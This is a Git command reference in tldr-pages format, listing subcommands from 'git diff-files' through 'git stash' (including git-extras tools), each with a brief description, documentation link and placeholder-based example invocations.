git diff-files
Compare files using their sha1 hashes and modes.

More information: https://git-scm.com/docs/git-diff-files.

• Compare all changed files:

git diff-files

• Compare only specified files:

git diff-files {{path/to/file}}

• Show only the names of changed files:

git diff-files --name-only

• Output a summary of extended header information:

git diff-files --summary


git diff
Show changes to tracked files.

More information: https://git-scm.com/docs/git-diff.

• Show unstaged, uncommitted changes:

git diff

• Show all uncommitted changes (including staged ones):

git diff HEAD

• Show only staged (added, but not yet committed) changes:

git diff --staged

• Show changes from all commits since a given date/time (a date expression, e.g. "1
week 2 days" or an ISO date):

git diff 'HEAD@{3 months|weeks|days|hours|seconds ago}'

• Show only names of changed files since a given commit:

git diff --name-only {{commit}}

• Output a summary of file creations, renames and mode changes since a given
commit:

git diff --summary {{commit}}

• Compare a single file between two branches or commits:

git diff {{branch_1}}..{{branch_2}} [--] {{path/to/file}}

• Compare different files from the current branch to other branch:

git diff {{branch}}:{{path/to/file2}} {{path/to/file}}


git difftool
Show file changes using external diff tools. Accepts the same options and arguments as
git diff.

See also: git diff.

More information: https://git-scm.com/docs/git-difftool.

• List available diff tools:

git difftool --tool-help

• Set the default diff tool to meld:

git config --global diff.tool "{{meld}}"

• Use the default diff tool to show staged changes:

git difftool --staged

• Use a specific tool (opendiff) to show changes since a given commit:

git difftool --tool={{opendiff}} {{commit}}


git effort
Display how much activity a file has had, showing commits per file and "active days" i.e.
total number of days that contributed to the file.

Part of git-extras.

More information: https://github.com/tj/git-extras/blob/master/Commands.md#git-


effort.

• Display each file in the repository, showing commits and active days:

git effort

• Display files modified by a specific number of commits or more, showing commits


and active days:

git effort --above {{5}}

• Display files modified by a specific author, showing commits and active days:

git effort -- --author="{{username}}"

• Display files modified since a specific time/date, showing commits and active days:

git effort -- --since="{{last month}}"

• Display only the specified files or directories, showing commits and active days:

git effort {{path/to/file_or_directory1 path/to/


file_or_directory2 ...}}

• Display all files in a specific directory, showing commits and active days:

git effort {{path/to/directory/*}}


git extras
Git extension pack.

More information: https://github.com/tj/git-extras.

• Install or upgrade git-extras commands:

git extras update

• Display help and subcommands:

git extras --help

• Print the version of installed git-extras:

git extras --version


git fame
Pretty-print Git repository contributions.

More information: https://github.com/casperdcl/git-fame.

• Calculate contributions for the current Git repository:

git fame

• Exclude files/directories that match the specified regular expression:

git fame --excl "{{regular_expression}}"

• Calculate contributions made after the specified date:

git fame --since "{{3 weeks ago|2021-05-13}}"

• Display contributions in the specified format:

git fame --format {{pipe|yaml|json|csv|tsv}}

• Display contributions per file extension:

git fame --bytype

• Ignore whitespace changes:

git fame --ignore-whitespace

• Detect inter-file line moves and copies:

git fame -C

• Detect intra-file line moves and copies:

git fame -M
git fetch
Download objects and refs from a remote repository.

More information: https://git-scm.com/docs/git-fetch.

• Fetch the latest changes from the default remote upstream repository (if set):

git fetch

• Fetch new branches from a specific remote upstream repository:

git fetch {{remote_name}}

• Fetch the latest changes from all remote upstream repositories:

git fetch --all

• Also fetch tags from the remote upstream repository:

git fetch --tags

• Delete local references to remote branches that have been deleted upstream:

git fetch --prune


git filter-repo
A versatile tool for rewriting Git history.

See also: bfg.

More information: https://github.com/newren/git-filter-repo.

• Replace a sensitive string in all files:

git filter-repo --replace-text <(echo '{{find}}


==>{{replacement}}')

• Extract a single folder, keeping history:

git-filter-repo --path {{path/to/folder}}

• Remove a single folder, keeping history:

git-filter-repo --path {{path/to/folder}} --invert-paths

• Move everything from sub-folder one level up:

git-filter-repo --path-rename {{path/to/folder/:}}


git flow
A collection of Git extensions to provide high-level repository operations.

More information: https://github.com/nvie/gitflow.

• Initialize it inside an existing Git repository:

git flow init

• Start developing on a feature branch based on develop:

git flow feature start {{feature}}

• Finish development on a feature branch, merging it into the develop branch and
deleting it:

git flow feature finish {{feature}}

• Publish a feature to the remote server:

git flow feature publish {{feature}}

• Get a feature published by another user:

git flow feature pull origin {{feature}}


git for-each-repo
Run a Git command on a list of repositories.

Note: this command is experimental and may change.

More information: https://git-scm.com/docs/git-for-each-repo.

• Run maintenance on each of a list of repositories stored in the


maintenance.repo user configuration variable:

git for-each-repo --config={{maintenance.repo}} {{maintenance


run}}

• Run git pull on each repository listed in a global configuration variable:

git for-each-repo --config={{global_configuration_variable}}


{{pull}}
git fork
Fork the given GitHub repo. Like git clone but forks first.

Part of git-extras.

More information: https://github.com/tj/git-extras/blob/master/Commands.md#git-


fork.

• Fork and clone a GitHub repository by its URL:

git fork {{https://github.com/tldr-pages/tldr}}

• Fork and clone a GitHub repository by its slug:

git fork {{tldr-pages/tldr}}


git format-patch
Prepare .patch files. Useful when emailing commits elsewhere.

See also git am, which can apply generated .patch files.

More information: https://git-scm.com/docs/git-format-patch.

• Create an auto-named .patch file for all the unpushed commits:

git format-patch {{origin}}

• Write a .patch file for all the commits between 2 revisions to stdout:

git format-patch {{revision_1}}..{{revision_2}}

• Write a .patch file for the 3 latest commits:

git format-patch -{{3}}


git fsck
Verify the validity and connectivity of nodes in a Git repository index.

Does not make any modifications. See git gc for cleaning up dangling blobs.

More information: https://git-scm.com/docs/git-fsck.

• Check the current repository:

git fsck

• List all tags found:

git fsck --tags

• List all root nodes found:

git fsck --root


git gc
Optimise the local repository by cleaning unnecessary files.

More information: https://git-scm.com/docs/git-gc.

• Optimise the repository:

git gc

• Aggressively optimise, takes more time:

git gc --aggressive

• Do not prune loose objects (prunes by default):

git gc --no-prune

• Suppress all output:

git gc --quiet

• View full usage:

git gc --help
git graft
Merge commits from a specific branch into another branch and delete the source
branch.

Part of git-extras.

More information: https://github.com/tj/git-extras/blob/master/Commands.md#git-


graft.

• Merge all commits not present on the target branch from the source branch to
target branch, and delete the source branch:

git graft {{source_branch}} {{target_branch}}


git-grep
Find strings inside files anywhere in a repository's history.

Accepts a lot of the same flags as regular grep.

More information: https://git-scm.com/docs/git-grep.

• Search for a string in tracked files:

git grep {{search_string}}

• Search for a string in files matching a pattern in tracked files:

git grep {{search_string}} -- {{file_glob_pattern}}

• Search for a string in tracked files, including submodules:

git grep --recurse-submodules {{search_string}}

• Search for a string at a specific point in history:

git grep {{search_string}} {{HEAD~2}}

• Search for a string across all branches:

git grep {{search_string}} $(git rev-list --all)


git help
Display help information about Git.

More information: https://git-scm.com/docs/git-help.

• Display help about a specific Git subcommand:

git help {{subcommand}}

• Display help about a specific Git subcommand in a web browser:

git help --web {{subcommand}}

• Display a list of all available Git subcommands:

git help --all

• List the available guides:

git help --guide

• List all possible configuration variables:

git help --config


git ignore-io
Generate .gitignore files from predefined templates.

More information: https://github.com/tj/git-extras/blob/master/Commands.md#git-


ignore-io.

• List available templates:

git ignore-io list

• Generate a .gitignore template:

git ignore-io {{item_a,item_b,item_n}}


git ignore
Show/update .gitignore files.

Part of git-extras. See also git ignore-io.

More information: https://github.com/tj/git-extras/blob/master/Commands.md#git-


ignore.

• Show the content of all global and local .gitignore files:

git ignore

• Ignore file(s) privately, updating .git/info/exclude file:

git ignore {{file_pattern}} --private

• Ignore file(s) locally, updating local .gitignore file:

git ignore {{file_pattern}}

• Ignore file(s) globally, updating global .gitignore file:

git ignore {{file_pattern}} --global


git-imerge
Perform a merge or rebase between two Git branches incrementally.

Conflicts between branches are tracked down to pairs of individual commits, to simplify
conflict resolution.

More information: https://github.com/mhagger/git-imerge.

• Start imerge-based rebase (checkout the branch to be rebased, first):

git imerge rebase {{branch_to_rebase_onto}}

• Start imerge-based merge (checkout the branch to merge into, first):

git imerge merge {{branch_to_be_merged}}

• Show ASCII diagram of in-progress merge or rebase:

git imerge diagram

• Continue imerge operation after resolving conflicts (git add the conflicted files,
first):

git imerge continue --no-edit

• Wrap up imerge operation, after all conflicts are resolved:

git imerge finish

• Abort imerge operation, and return to the previous branch:

git-imerge remove && git checkout {{previous_branch}}


git info
Display Git repository information.

Part of git-extras.

More information: https://github.com/tj/git-extras/blob/master/Commands.md#git-


info.

• Display remote locations, remote and local branches, most recent commit data and
.git/config settings:

git info

• Display remote locations, remote and local branches and most recent commit
data:

git info --no-config


git init
Initializes a new local Git repository.

More information: https://git-scm.com/docs/git-init.

• Initialize a new local repository:

git init

• Initialize a repository with the specified name for the initial branch:

git init --initial-branch={{branch_name}}

• Initialize a repository using SHA256 for object hashes (requires Git version 2.29+):

git init --object-format={{sha256}}

• Initialize a barebones repository, suitable for use as a remote over ssh:

git init --bare


git instaweb
Helper to launch a GitWeb server.

More information: https://git-scm.com/docs/git-instaweb.

• Launch a GitWeb server for the current Git repository:

git instaweb --start

• Listen only on localhost:

git instaweb --start --local

• Listen on a specific port:

git instaweb --start --port {{1234}}

• Use a specified HTTP daemon:

git instaweb --start --httpd {{lighttpd|apache2|mongoose|


plackup|webrick}}

• Also auto-launch a web browser:

git instaweb --start --browser

• Stop the currently running GitWeb server:

git instaweb --stop

• Restart the currently running GitWeb server:

git instaweb --restart


git lfs
Work with large files in Git repositories.

More information: https://git-lfs.github.com.

• Initialise Git LFS:

git lfs install

• Track files that match a glob:

git lfs track '{{*.bin}}'

• Change the Git LFS endpoint URL (useful if the LFS server is separate from the Git
server):

git config -f .lfsconfig lfs.url {{lfs_endpoint_url}}

• List tracked patterns:

git lfs track

• List tracked files that have been committed:

git lfs ls-files

• Push all Git LFS objects to the remote server (useful if errors are encountered):

git lfs push --all {{remote_name}} {{branch_name}}

• Fetch all Git LFS objects:

git lfs fetch

• Checkout all Git LFS objects:

git lfs checkout


git local-commits
Show local commits that haven't been pushed to origin. Any additional arguments will
be passed directly to git log.

Part of `git-extras.

More information: https://github.com/tj/git-extras/blob/master/Commands.md#git-


local-commits.

• Show commits that haven't been pushed:

git local-commits
git lock
Lock a file in a Git repository from being modified by a commit.

Part of git-extras. See also git-unlock.

More information: https://github.com/tj/git-extras/blob/master/Commands.md#git-


lock.

• Disable the ability to commit changes of a local file:

git lock {{path/to/file}}


git locked
List locked files in a Git repository.

Part of git-extras.

More information: https://github.com/tj/git-extras/blob/master/Commands.md#git-


locked.

• List all local locked files:

git locked
git log
Show a history of commits.

More information: https://git-scm.com/docs/git-log.

• Show the sequence of commits starting from the current one, in reverse
chronological order of the Git repository in the current working directory:

git log

• Show the history of a particular file or directory, including differences:

git log -p {{path/to/file_or_directory}}

• Show an overview of which file(s) changed in each commit:

git log --stat

• Show a graph of commits in the current branch using only the first line of each
commit message:

git log --oneline --graph

• Show a graph of all commits, tags and branches in the entire repo:

git log --oneline --decorate --all --graph

• Show only commits whose messages include a given string (case-insensitively):

git log -i --grep {{search_string}}

• Show the last N commits from a certain author:

git log -n {{number}} --author={{author}}

• Show commits between two dates (yyyy-mm-dd):

git log --before="{{2017-01-29}}" --after="{{2017-01-17}}"


git ls-files
Show information about files in the index and the working tree.

More information: https://git-scm.com/docs/git-ls-files.

• Show deleted files:

git ls-files --deleted

• Show modified and deleted files:

git ls-files --modified

• Show ignored and untracked files:

git ls-files --others


git ls-remote
Git command for listing references in a remote repository based on name or URL.

If no name or URL are given, then the configured upstream branch will be used, or
remote origin if the former is not configured.

More information: https://git-scm.com/docs/git-ls-remote.

• Show all references in the default remote repository:

git ls-remote

• Show only heads references in the default remote repository:

git ls-remote --heads

• Show only tags references in the default remote repository:

git ls-remote --tags

• Show all references from a remote repository based on name or URL:

git ls-remote {{repository_url}}

• Show references from a remote repository filtered by a pattern:

git ls-remote {{repository_name}} "{{pattern}}"


git ls-tree
List the contents of a tree object.

More information: https://git-scm.com/docs/git-ls-tree.

• List the contents of the tree on a branch:

git ls-tree {{branch_name}}

• List the contents of the tree on a commit, recursing into subtrees:

git ls-tree -r {{commit_hash}}

• List only the filenames of the tree on a commit:

git ls-tree --name-only {{commit_hash}}


git mailinfo
Extract patch and authorship information from a single email message.

More information: https://git-scm.com/docs/git-mailinfo.

• Extract the patch and author data from an email message:

git mailinfo {{message|patch}}

• Extract but remove leading and trailing whitespace:

git mailinfo -k {{message|patch}}

• Remove everything from the body before a scissors line (e.g. "-->* --") and retrieve
the message or patch:

git mailinfo --scissors {{message|patch}}


git-maintenance
Run tasks to optimize Git repository data.

More information: https://git-scm.com/docs/git-maintenance.

• Register the current repository in the user's list of repositories to daily have
maintenance run:

git maintenance register

• Start running maintenance on the current repository:

git maintenance start

• Halt the background maintenance schedule for the current repository:

git maintenance stop

• Remove the current repository from the user's maintenance repository list:

git maintenance unregister

• Run a specific maintenance task on the current repository:

git maintenance run --task={{commit-graph|gc|incremental-


repack|loose-objects|pack-refs|prefetch}}
git merge
Merge branches.

More information: https://git-scm.com/docs/git-merge.

• Merge a branch into your current branch:

git merge {{branch_name}}

• Edit the merge message:

git merge -e {{branch_name}}

• Merge a branch and create a merge commit:

git merge --no-ff {{branch_name}}

• Abort a merge in case of conflicts:

git merge --abort


git mergetool
Run merge conflict resolution tools to resolve merge conflicts.

More information: https://git-scm.com/docs/git-mergetool.

• Launch the default merge tool to resolve conflicts:

git mergetool

• List valid merge tools:

git mergetool --tool-help

• Launch the merge tool identified by a name:

git mergetool --tool {{tool_name}}

• Don't prompt before each invocation of the merge tool:

git mergetool --no-prompt

• Explicitly use the GUI merge tool (see the merge.guitool config variable):

git mergetool --gui

• Explicitly use the regular merge tool (see the merge.tool config variable):

git mergetool --no-gui


git missing
Show commits which aren't shared between two branches.

Part of git-extras.

More information: https://github.com/tj/git-extras/blob/master/Commands.md#git-


missing.

• Show commits which aren't shared between the currently checked-out branch and
another branch:

git missing {{branch}}

• Show commits which aren't shared between two branches:

git missing {{branch_1}} {{branch_2}}


git mr
Check out GitLab merge requests locally.

Part of git-extras.

More information: https://github.com/tj/git-extras/blob/master/Commands.md#git-mr.

• Check out a specific merge request:

git mr {{mr_number}}

• Check out a merge request from a specific remote:

git mr {{mr_number}} {{remote}}

• Checkout a merge request from its URL:

git mr {{url}}

• Clean up old merge request branches:

git mr clean
git mv
Move or rename files and update the Git index.

More information: https://git-scm.com/docs/git-mv.

• Move file inside the repo and add the movement to the next commit:

git mv {{path/to/file}} {{new/path/to/file}}

• Rename file and add renaming to the next commit:

git mv {{filename}} {{new_filename}}

• Overwrite the file in the target path if it exists:

git mv --force {{file}} {{target}}


git notes
Add or inspect object notes.

More information: https://git-scm.com/docs/git-notes.

• List all notes and the objects they are attached to:

git notes list

• List all notes attached to a given object (defaults to HEAD):

git notes list [{{object}}]

• Show the notes attached to a given object (defaults to HEAD):

git notes show [{{object}}]

• Append a note to a specified object (opens the default text editor):

git notes append {{object}}

• Append a note to a specified object, specifying the message:

git notes append --message="{{message_text}}"

• Edit an existing note (defaults to HEAD):

git notes edit [{{object}}]

• Copy a note from one object to another:

git notes copy {{source_object}} {{target_object}}

• Remove all the notes added to a specified object:

git notes remove {{object}}


git obliterate
Delete specific files and erase their history from a Git repository.

Part of git-extras.

More information: https://github.com/tj/git-extras/blob/master/Commands.md#git-


obliterate.

• Erase the existence of specific files:

git obliterate {{file_1 file_2 ...}}

• Erase the existence of specific files between 2 commits:

git obliterate {{file_1 file_2 ...}} -- {{commit_hash_1}}..


{{commit_hash_2}}
git pr
Check out GitHub pull requests locally.

Part of git-extras.

More information: https://github.com/tj/git-extras/blob/master/Commands.md#git-pr.

• Check out a specific pull request:

git pr {{pr_number}}

• Check out a pull request from a specific remote:

git pr {{pr_number}} {{remote}}

• Check out a pull request from its URL:

git pr {{url}}

• Clean up old pull request branches:

git pr clean
git prune
Git command for pruning all unreachable objects from the object database.

This command is often not used directly but as an internal command that is used by Git
gc.

More information: https://git-scm.com/docs/git-prune.

• Report what would be removed by Git prune without removing it:

git prune --dry-run

• Prune unreachable objects and display what has been pruned to stdout:

git prune --verbose

• Prune unreachable objects while showing progress:

git prune --progress


git pull
Fetch branch from a remote repository and merge it to local repository.

More information: https://git-scm.com/docs/git-pull.

• Download changes from default remote repository and merge it:

git pull

• Download changes from default remote repository and use fast-forward:

git pull --rebase

• Download changes from given remote repository and branch, then merge them
into HEAD:

git pull {{remote_name}} {{branch}}


git push
Push commits to a remote repository.

More information: https://git-scm.com/docs/git-push.

• Send local changes in the current branch to its default remote counterpart:

git push

• Send changes from a specific local branch to its remote counterpart:

git push {{remote_name}} {{local_branch}}

• Send changes from a specific local branch to its remote counterpart, and set the
remote one as the default push/pull target of the local one:

git push -u {{remote_name}} {{local_branch}}

• Send changes from a specific local branch to a specific remote branch:

git push {{remote_name}} {{local_branch}}:{{remote_branch}}

• Send changes on all local branches to their counterparts in a given remote


repository:

git push --all {{remote_name}}

• Delete a branch in a remote repository:

git push {{remote_name}} --delete {{remote_branch}}

• Remove remote branches that don't have a local counterpart:

git push --prune {{remote_name}}

• Publish tags that aren't yet in the remote repository:

git push --tags


git range-diff
Compare two commit ranges (e.g. two versions of a branch).

More information: https://git-scm.com/docs/git-range-diff.

• Diff the changes of two individual commits:

git range-diff {{commit_1}}^! {{commit_2}}^!

• Diff the changes of ours and theirs from their common ancestor, e.g. after an
interactive rebase:

git range-diff {{theirs}}...{{ours}}

• Diff the changes of two commit ranges, e.g. to check whether conflicts have been
resolved appropriately when rebasing commits from base1 to base2:

git range-diff {{base1}}..{{rev1}} {{base2}}..{{rev2}}


git reauthor
Change details about an author identity. Since this command rewrites the Git history,
--force will be needed when pushing next time.

Part of git-extras.

More information: https://github.com/tj/git-extras/blob/master/Commands.md#git-


reauthor.

• Change an author's email and name across the whole Git repository:

git reauthor --old-email {{old@example.com}} --correct-email


{{new@example.com}} --correct-name "{{name}}"

• Change the email and name to the ones defined in the Git config:

git reauthor --old-email {{old@example.com}} --use-config

• Change the email and name of all commits, regardless of their original author:

git reauthor --all --correct-email {{name@example.com}} --


correct-name {{name}}
git rebase
Reapply commits from one branch on top of another branch.

Commonly used to "move" an entire branch to another base, creating copies of the
commits in the new location.

More information: https://git-scm.com/docs/git-rebase.

• Rebase the current branch on top of another specified branch:

git rebase {{new_base_branch}}

• Start an interactive rebase, which allows the commits to be reordered, omitted,


combined or modified:

git rebase -i {{target_base_branch_or_commit_hash}}

• Continue a rebase that was interrupted by a merge failure, after editing conflicting
files:

git rebase --continue

• Continue a rebase that was paused due to merge conflicts, by skipping the
conflicted commit:

git rebase --skip

• Abort a rebase in progress (e.g. if it is interrupted by a merge conflict):

git rebase --abort

• Move part of the current branch onto a new base, providing the old base to start
from:

git rebase --onto {{new_base}} {{old_base}}

• Reapply the last 5 commits in-place, stopping to allow them to be reordered,


omitted, combined or modified:

git rebase -i {{HEAD~5}}

• Auto-resolve any conflicts by favoring the working branch version (theirs


keyword has reversed meaning in this case):

git rebase -X theirs {{branch_name}}


git reflog
Show a log of changes to local references like HEAD, branches or tags.

More information: https://git-scm.com/docs/git-reflog.

• Show the reflog for HEAD:

git reflog

• Show the reflog for a given branch:

git reflog {{branch_name}}

• Show only the 5 latest entries in the reflog:

git reflog -n {{5}}


git release
Create a Git tag for a release.

Part of git-extras.

More information: https://github.com/tj/git-extras/blob/master/Commands.md#git-


release.

• Create and push a release:

git release {{tag_name}}

• Create and push a signed release:

git release {{tag_name}} -s

• Create and push a release with a message:

git release {{{tag_name}}} -m "{{message}}"


git remote
Manage set of tracked repositories ("remotes").

More information: https://git-scm.com/docs/git-remote.

• Show a list of existing remotes, their names and URL:

git remote -v

• Show information about a remote:

git remote show {{remote_name}}

• Add a remote:

git remote add {{remote_name}} {{remote_url}}

• Change the URL of a remote (use --add to keep the existing URL):

git remote set-url {{remote_name}} {{new_url}}

• Remove a remote:

git remote remove {{remote_name}}

• Rename a remote:

git remote rename {{old_name}} {{new_name}}


git rename-branch
Rename a Git branch.

Part of git-extras.

More information: https://github.com/tj/git-extras/blob/master/Commands.md#git-


rename-branch.

• Rename the branch you are currently on:

git rename-branch {{new_branch_name}}

• Rename a specific branch:

git rename-branch {{old_branch_name}} {{new_branch_name}}


git rename-remote
Change remote for pulling and pushing.

Part of git-extras.

More information: https://github.com/tj/git-extras/blob/master/Commands.md#git-


rename-remote.

• Change the upstream remote to origin:

git rename-remote {{upstream}} {{origin}}


git rename-tag
Rename a Git tag.

Part of git-extras.

More information: https://github.com/tj/git-extras/blob/master/Commands.md#git-


rename-tag.

• Rename an existing Git tag locally and remotely:

git rename-tag {{old_tag_name}} {{new_tag_name}}


git repack
Pack unpacked objects in a Git repository.

More information: https://git-scm.com/docs/git-repack.

• Pack unpacked objects in the current directory:

git repack

• Also remove redundant objects after packing:

git repack -d
git repl
Git REPL (read-evaluate-print-loop) - an interactive Git shell.

Part of git-extras.

More information: https://github.com/tj/git-extras/blob/master/Commands.md#git-


repl.

• Start an interactive Git shell:

git repl

• Run a Git command while in the interactive Git shell:

{{git_subcommand}} {{command_arguments}}

• Run an external (non-Git) command while in the interactive Git shell:

!{{command}} {{command_arguments}}

• Exit the interactive Git shell (or press Ctrl + D):

exit
git replace
Create, list, and delete refs to replace objects.

More information: https://git-scm.com/docs/git-replace.

• Replace any commit with a different one, leaving other commits unchanged:

git replace {{object}} {{replacement}}

• Delete existing replace refs for the given objects:

git replace --delete {{object}}

• Edit an object’s content interactively:

git replace --edit {{object}}


git request-pull
Generate a request asking the upstream project to pull changes into its tree.

More information: https://git-scm.com/docs/git-request-pull.

• Produce a request summarizing the changes between the v1.1 release and a
specified branch:

git request-pull {{v1.1}} {{https://example.com/project}}


{{branch_name}}

• Produce a request summarizing the changes between the v0.1 release on the foo
branch and the local bar branch:

git request-pull {{v0.1}} {{https://example.com/project}}


{{foo:bar}}
git reset-file
Revert a file to HEAD or a specific commit.

Part of git-extras.

More information: https://github.com/tj/git-extras/blob/master/Commands.md#git-


reset-file.

• Reset a file to HEAD:

git reset-file {{path/to/file}}

• Reset a file to a specific commit:

git reset-file {{path/to/file}} {{commit_hash}}


git reset
Undo commits or unstage changes, by resetting the current Git HEAD to the specified
state.

If a path is passed, it works as "unstage"; if a commit hash or branch is passed, it works


as "uncommit".

More information: https://git-scm.com/docs/git-reset.

• Unstage everything:

git reset

• Unstage specific file(s):

git reset {{path/to/file(s)}}

• Interactively unstage portions of a file:

git reset --patch {{path/to/file}}

• Undo the last commit, keeping its changes (and any further uncommitted changes)
in the filesystem:

git reset HEAD~

• Undo the last two commits, adding their changes to the index, i.e. staged for
commit:

git reset --soft HEAD~2

• Discard any uncommitted changes, staged or not (for only unstaged changes, use
git checkout):

git reset --hard

• Reset the repository to a given commit, discarding committed, staged and


uncommitted changes since then:

git reset --hard {{commit}}


git restore
Restore working tree files. Requires Git version 2.23+.

See also git checkout and git reset.

More information: https://git-scm.com/docs/git-restore.

• Restore an unstaged file to the version of the current commit (HEAD):

git restore {{path/to/file}}

• Restore an unstaged file to the version of a specific commit:

git restore --source {{commit}} {{path/to/file}}

• Discard all unstaged changes to tracked files:

git restore :/

• Unstage a file:

git restore --staged {{path/to/file}}

• Unstage all files:

git restore --staged :/

• Discard all changes to files, both staged and unstaged:

git restore --worktree --staged :/

• Interactively select sections of files to restore:

git restore --patch


git rev-list
List revisions (commits) in reverse chronological order.

More information: https://git-scm.com/docs/git-rev-list.

• List all commits on the current branch:

git rev-list {{HEAD}}

• List commits more recent than a specific date, on a specific branch:

git rev-list --since={{'2019-12-01 00:00:00'}}


{{branch_name}}

• List all merge commits on a specific commit:

git rev-list --merges {{commit}}

• Print the number of commits since a specific tag:

git rev-list {{tag_name}}..HEAD --count


git rev-parse
Display metadata related to specific revisions.

More information: https://git-scm.com/docs/git-rev-parse.

• Get the commit hash of a branch:

git rev-parse {{branch_name}}

• Get the current branch name:

git rev-parse --abbrev-ref {{HEAD}}

• Get the absolute path to the root directory:

git rev-parse --show-toplevel


git revert
Create new commits which reverse the effect of earlier ones.

More information: https://git-scm.com/docs/git-revert.

• Revert the most recent commit:

git revert {{HEAD}}

• Revert the 5th last commit:

git revert HEAD~{{4}}

• Revert multiple commits:

git revert {{branch_name~5..branch_name~2}}

• Don't create new commits, just change the working tree:

git revert -n {{0c01a9..9a1743}}


git rm
Remove files from repository index and local filesystem.

More information: https://git-scm.com/docs/git-rm.

• Remove file from repository index and filesystem:

git rm {{file}}

• Remove directory:

git rm -r {{directory}}

• Remove file from repository index but keep it untouched locally:

git rm --cached {{file}}


git root
Print the root directory of the current Git repository.

Part of git-extras.

More information: https://github.com/tj/git-extras/blob/master/Commands.md#git-


root.

• Print the absolute path of the current Git repository:

git root

• Print the current working directory relative to the root of the current Git
repository:

git root --relative


git secret
Bash tool which stores private data inside a Git repository.

More information: https://github.com/sobolevn/git-secret.

• Initialize git-secret in a local repository:

git secret init

• Grant access to the current Git user's email:

git secret tell -m

• Grant access by email:

git secret tell {{email}}

• Revoke access by email:

git secret killperson {{email}}

• List emails with access to secrets:

git secret whoknows

• Register a secret file:

git secret add {{path/to/file}}

• Encrypt secrets:

git secret hide

• Decrypt secret files:

git secret reveal


git sed
Replace patterns in git-controlled files using sed.

Part of git-extras.

More information: https://github.com/tj/git-extras/blob/master/Commands.md#git-sed.

• Replace the specified text in the current repository:

git sed '{{find_text}}' '{{replace_text}}'

• Replace the specified text and then commit the resulting changes with a standard
commit message:

git sed -c '{{find_text}}' '{{replace_text}}'

• Replace the specified text, using regular expressions:

git sed -f g '{{find_text}}' '{{replace_text}}'

• Replace a specific text in all files under a given directory:

git sed '{{find_text}}' '{{replace_text}}' -- {{path/to/


directory}}
git send-email
Send a collection of patches as emails.

Patches can be specified as files, directions, or a revision list.

More information: https://git-scm.com/docs/git-send-email.

• Send the last commit in the current branch:

git send-email -1

• Send a given commit:

git send-email -1 {{commit}}

• Send multiple (e.g. 10) commits in the current branch:

git send-email {{-10}}

• Send an introductory email message for the patch series:

git send-email -{{number_of_commits}} --compose

• Review and edit the email message for each patch you're about to send:

git send-email -{{number_of_commits}} --annotate


git setup
Create a Git repository in a specific directory and commit all files.

Part of git-extras.

More information: https://github.com/tj/git-extras/blob/master/Commands.md#git-


setup.

• Create a Git repository in the current directory and commit all files:

git setup

• Create a Git repository in a specific directory and commit all files:

git setup {{path/to/directory}}


git shortlog
Summarizes the git log output.

More information: https://git-scm.com/docs/git-shortlog.

• View a summary of all the commits made, grouped alphabetically by author name:

git shortlog

• View a summary of all the commits made, sorted by the number of commits made:

git shortlog -n

• View a summary of all the commits made, grouped by the committer identities
(name and email):

git shortlog -c

• View a summary of the last 5 commits (i.e. specify a revision range):

git shortlog HEAD~{{5}}..HEAD

• View all users, emails and the number of commits in the current branch:

git shortlog -sne

• View all users, emails and the number of commits in all branches:

git shortlog -sne --all


git show-branch
Show branches and their commits.

More information: https://git-scm.com/docs/git-show-branch.

• Show a summary of the latest commit on a branch:

git show-branch {{branch_name|ref|commit}}

• Compare commits in the history of multiple commits or branches:

git show-branch {{branch_name|ref|commit}}

• Compare all remote tracking branches:

git show-branch --remotes

• Compare both local and remote tracking branches:

git show-branch --all

• List the latest commits in all branches:

git show-branch --all --list

• Compare a given branch with the current branch:

git show-branch --current {{commit|branch_name|ref}}

• Display the commit name instead of the relative name:

git show-branch --sha1-name --current {{current|branch_name|


ref}}

• Keep going a given number of commits past the common ancestor:

git show-branch --more {{5}} {{commit|branch_name|ref}}


{{commit|branch_name|ref}} {{...}}
git show-index
Show the packed archive index of a Git repository.

More information: https://git-scm.com/docs/git-show-index.

• Read an IDX file for a Git packfile and dump its contents to stdout:

git show-index {{path/to/file.idx}}

• Specify the hash algorithm for the index file (experimental):

git show-index --object-format={{sha1|sha256}} {{path/to/


file}}
git show-ref
Git command for listing references.

More information: https://git-scm.com/docs/git-show-ref.

• Show all refs in the repository:

git show-ref

• Show only heads references:

git show-ref --heads

• Show only tags references:

git show-ref --tags

• Verify that a given reference exists:

git show-ref --verify {{path/to/ref}}


git show-tree
Show a decorated tree graph with all branches of a Git repository, showing annotations.

Part of git-extras.

More information: https://github.com/tj/git-extras/blob/master/Commands.md#git-


show-tree.

• Show a decorated tree graph for all branches annotated with tags and branch
names:

git show-tree
git show
Show various types of Git objects (commits, tags, etc.).

More information: https://git-scm.com/docs/git-show.

• Show information about the latest commit (hash, message, changes, and other
metadata):

git show

• Show information about a given commit:

git show {{commit}}

• Show information about the commit associated with a given tag:

git show {{tag}}

• Show information about the 3rd commit from the HEAD of a branch:

git show {{branch}}~{{3}}

• Show a commit's message in a single line, suppressing the diff output:

git show --oneline -s {{commit}}

• Show only statistics (added/removed characters) about the changed files:

git show --stat {{commit}}

• Show only the list of added, renamed or deleted files:

git show --summary {{commit}}

• Show the contents of a file as it was at a given revision (e.g. branch, tag or
commit):

git show {{revision}}:{{path/to/file}}


git sizer
Computes various Git repository size metrics and alerts you to any that might cause
problems or inconvenience.

More information: https://github.com/github/git-sizer.

• Report only statistics that have a level of concern greater than 0:

git sizer

• Report all statistics:

git sizer -v

• See additional options:

git sizer -h
git squash
Squash multiple commits into a single commit.

Part of git-extras.

More information: https://github.com/tj/git-extras/blob/master/Commands.md#git-


squash.

• Merge all commits from a specific branch into the current branch as a single
commit:

git squash {{source_branch}}

• Squash all commits starting with a specific commit on the current branch:

git squash {{commit}}

• Squash the n latest commits and commit with a message:

git squash HEAD~{{n}} "{{message}}"

• Squash the n latest commits and commit concatenating all individual messages:

git squash --squash-msg HEAD~{{n}}


git stage
Add file contents to the staging area.

Synonym of git add.

More information: https://git-scm.com/docs/git-stage.

• Add a file to the index:

git stage {{path/to/file}}

• Add all files (tracked and untracked):

git stage -A

• Only add already tracked files:

git stage -u

• Also add ignored files:

git stage -f

• Interactively stage parts of files:

git stage -p

• Interactively stage parts of a given file:

git stage -p {{path/to/file}}

• Interactively stage a file:

git stage -i
git stash
Stash local Git changes in a temporary area.

More information: https://git-scm.com/docs/git-stash.

• Stash current changes, except new (untracked) files:

git stash [push -m {{optional_stash_message}}]

• Stash current changes, including new (untracked) files:

git stash -u

• Interactively select parts of changed files for stashing:

git stash -p

• List all stashes (shows stash name, related branch and message):

git stash list

• Apply a stash (default is the latest, named stash@{0}):

git stash apply {{optional_stash_name_or_commit}}

